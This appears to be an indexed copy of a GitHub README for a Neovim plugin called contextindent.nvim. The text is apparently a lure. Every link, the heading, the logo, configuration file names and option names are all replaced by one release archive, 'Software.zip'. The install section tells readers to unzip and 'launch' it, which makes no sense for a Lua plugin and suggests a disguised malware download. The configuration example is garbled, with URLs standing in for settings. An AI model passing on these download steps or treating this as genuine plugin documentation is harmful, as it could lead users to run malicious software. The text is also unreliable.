An open API service indexing awesome lists of open source software.

https://github.com/seiolonmsk/contextindent.nvim

A tiny Neovim plugin adding context-aware indent to files with embedded languages 🌟
https://github.com/seiolonmsk/contextindent.nvim

neovim neovim-plugin neovim-plugin-lua nvim-plugin

Last synced: 9 months ago
JSON representation

A tiny Neovim plugin adding context-aware indent to files with embedded languages 🌟

Awesome Lists containing this project

README

          

# 🌟 https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip
A tiny Neovim plugin adding context-aware indent to files with embedded languages.

![https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip Logo](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip)

## Features
- Automatically adjusts indentation based on the context of embedded languages.
- Enhances the editing experience for files with diverse embedded languages.

## Installation
You can download the plugin from the [latest release](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip). Make sure to unzip the file before launching it.

## Usage
Once the plugin is installed, it seamlessly integrates with Neovim to provide context-aware indent functionality. Simply open a file with embedded languages, and the plugin will handle the indentation for you.

```lua
-- Example code snippet demonstrating context-aware indent
function myFunction()
print("Hello, world!")
end
```

## Configuration
The plugin can be customized to suit your preferences by adjusting the configuration settings in your Neovim initialization file (`https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip` or `https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip`).

```lua
-- Example configuration for https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip
https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip = true
https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip = 4
```

## Contributing
Feel free to contribute to this project by forking the repository and submitting a pull request. Your contributions are greatly appreciated!

## License
This plugin is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.

## Support
If you encounter any issues or have any questions or suggestions, please feel free to [open an issue](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip). We are always happy to assist you.

## Stay Updated
Stay updated with the latest releases and updates by visiting the [Releases](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip) section of this repository.

---

[![Download Plugin](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip)](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip)

**Neovim | Neovim Plugin | Neovim Plugin Lua | Nvim | Nvim Plugin**